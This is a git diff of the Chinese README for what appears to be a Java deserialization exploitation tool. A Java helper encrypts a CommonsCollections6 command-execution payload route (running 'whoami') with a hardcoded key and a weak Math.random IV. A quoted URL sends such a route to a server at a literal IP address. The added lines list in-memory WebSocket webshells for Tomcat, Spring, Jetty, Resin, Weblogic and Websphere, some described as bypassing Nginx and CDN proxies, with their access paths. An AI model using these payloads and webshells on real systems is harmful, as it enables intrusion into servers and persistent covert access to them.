diff --git a/JYso‐CN.md b/JYso‐CN.md index cb6023d..0599aa0 100644 --- a/JYso‐CN.md +++ b/JYso‐CN.md @@ -62,61 +62,61 @@ import java.nio.charset.StandardCharsets; import java.util.Base64; public class Main { - private static final String ALGORITHM = "AES"; - private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding"; - private static final int KEY_SIZE = 16; // 128 bits + private static final String ALGORITHM = "AES"; + private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding"; + private static final int KEY_SIZE = 16; // 128 bits - public static String encodeBase64(String text) { - byte[] encodedBytes = Base64.getEncoder().encode(text.getBytes()); - return new String(encodedBytes); - } - - public static String encrypt(String plaintext, String key) throws Exception { - byte[] ivBytes = generateIV(); - byte[] keyBytes = getKeyBytes(key); - - SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM); - IvParameterSpec ivSpec = new IvParameterSpec(ivBytes); - - Cipher cipher = Cipher.getInstance(TRANSFORMATION); - cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivSpec); - - byte[] encryptedBytes = cipher.doFinal(plaintext.getBytes(StandardCharsets.UTF_8)); - byte[] combinedBytes = new byte[ivBytes.length + encryptedBytes.length]; - System.arraycopy(ivBytes, 0, combinedBytes, 0, ivBytes.length); - System.arraycopy(encryptedBytes, 0, combinedBytes, ivBytes.length, encryptedBytes.length); - - return Base64.getEncoder().encodeToString(combinedBytes); - } - - private static byte[] generateIV() { - byte[] ivBytes = new byte[KEY_SIZE]; - // Generate random IV bytes - // Replace with a secure random generator if possible - for (int i = 0; i < ivBytes.length; i++) { - ivBytes[i] = (byte) (Math.random() * 256); + public static String encodeBase64(String text) { + byte[] encodedBytes = Base64.getEncoder().encode(text.getBytes()); + return new String(encodedBytes); } - return ivBytes; - } - private static byte[] getKeyBytes(String key) { - byte[] keyBytes = new byte[KEY_SIZE]; - byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8); - System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length)); - return keyBytes; - } - public static void main(String[] args) { - try { - String plaintext = "Deserialization/CommonsCollections6/command/Base64/d2hvYW1p"; - String key = "3yWm2mOpXudIPTqM"; + public static String encrypt(String plaintext, String key) throws Exception { + byte[] ivBytes = generateIV(); + byte[] keyBytes = getKeyBytes(key); - String ciphertext = encrypt(plaintext, key); - String encodedText = encodeBase64(ciphertext); - System.out.println("Base64 Encoded Text: " + encodedText); - } catch (Exception e) { - e.printStackTrace(); + SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM); + IvParameterSpec ivSpec = new IvParameterSpec(ivBytes); + + Cipher cipher = Cipher.getInstance(TRANSFORMATION); + cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivSpec); + + byte[] encryptedBytes = cipher.doFinal(plaintext.getBytes(StandardCharsets.UTF_8)); + byte[] combinedBytes = new byte[ivBytes.length + encryptedBytes.length]; + System.arraycopy(ivBytes, 0, combinedBytes, 0, ivBytes.length); + System.arraycopy(encryptedBytes, 0, combinedBytes, ivBytes.length, encryptedBytes.length); + + return Base64.getEncoder().encodeToString(combinedBytes); + } + + private static byte[] generateIV() { + byte[] ivBytes = new byte[KEY_SIZE]; + // Generate random IV bytes + // Replace with a secure random generator if possible + for (int i = 0; i < ivBytes.length; i++) { + ivBytes[i] = (byte) (Math.random() * 256); + } + return ivBytes; + } + + private static byte[] getKeyBytes(String key) { + byte[] keyBytes = new byte[KEY_SIZE]; + byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8); + System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length)); + return keyBytes; + } + public static void main(String[] args) { + try { + String plaintext = "Deserialization/CommonsCollections6/command/Base64/d2hvYW1p"; + String key = "3yWm2mOpXudIPTqM"; + + String ciphertext = encrypt(plaintext, key); + String encodedText = encodeBase64(ciphertext); + System.out.println("Base64 Encoded Text: " + encodedText); + } catch (Exception e) { + e.printStackTrace(); + } } - } } ``` @@ -248,6 +248,13 @@ http://111.229.10.212:3456/setRoute?a=Deserialization/CommonsCollections6/comman * ```TomcatExecutor``` : Executor 内存马,`cmd命令回显` * ```TomcatUpgrade```: TomcatUpgrade 内存马,`cmd命令回显` * ```Struts2ActionMS```: Action 类型内存马 +* ```cmsMSBYNC```: 绕过Nginx、CDN代理限制的 WebSocket 马,路径`/x` +* ```proxyMSBYNC```: 绕过Nginx、CDN代理限制的 WebSocket 马,路径`/x` +* ```WsResin```: 适配 Resin 的 WebSocket 马,请求头中`Upgrade: websocket` +* ```MsTSJser```: 适配Tomcat、Spring、Jetty的 WebSocket 马,路径`/cmd` +* ```MsTSJproxy```: 适配Tomcat、Spring、Jetty的 WebSocket 马,路径`/proxy` +* ```WsWeblogic```: 适配 Weblogic 的 WebSocket 马,路径`/path` +* ```WSWebsphereProxy```: 适配 Websphere 的 WebSocket 马,路径`/path` ---